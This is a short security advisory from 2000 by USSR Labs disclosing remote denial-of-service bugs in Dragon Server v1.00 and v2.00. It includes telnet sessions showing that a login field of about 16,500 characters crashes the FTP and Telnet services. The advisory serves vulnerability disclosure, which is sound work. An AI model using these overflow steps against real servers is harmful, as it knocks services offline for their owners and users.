Multiples Remotes DoS Attacks in Dragon Server v1.00 and v2.00 Vulnerability

   

 

Dragon Server

 


USSR Advisory Code:   USSR-2000046


Release Date:
June 16, 2000


Systems Affected:
Dragon Server v2.00
Dragon Server v1.00


THE PROBLEM

The Ussr Labs team has recently discovered a null memory problem in the Dragon Server,

Ussr Labs found multiple places in Dragon Server where they do not use proper bounds checking.
The following all result in a Denial of Service against the service in question.

SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.

Example:
The Ftp Server (Port 21) service has a overflow in the login function.

[hellme@die-communitech.net$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.

220 Dragon Server v2.0, ready.    
USER [buffer]

Where [buffer] is aprox. 16500 characters.

and the process containg the service crash

Example 2:
The Telnet Server (Port 23) service has a overflow in the login function.

[hellme@die-communitech.net$ telnet example.com 
Trying example.com...
Connected to example.com.
Escape character is '^]'.

Dragon Server v2.0, ready.

Login:   [buffer]

Where [buffer] is aprox. 16500 characters.

and the process containg the service crash


Vendor Status:  
Informed!

Vendor   Url: http://www.shadowopsoftware.com/
Program  Url: http://www.shadowopsoftware.com/ds-index.html

Related Links:

Underground Security Systems Research
http://www.ussrback.com

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip.

Copyright (c) 1999-2000 Underground Security Systems Research.
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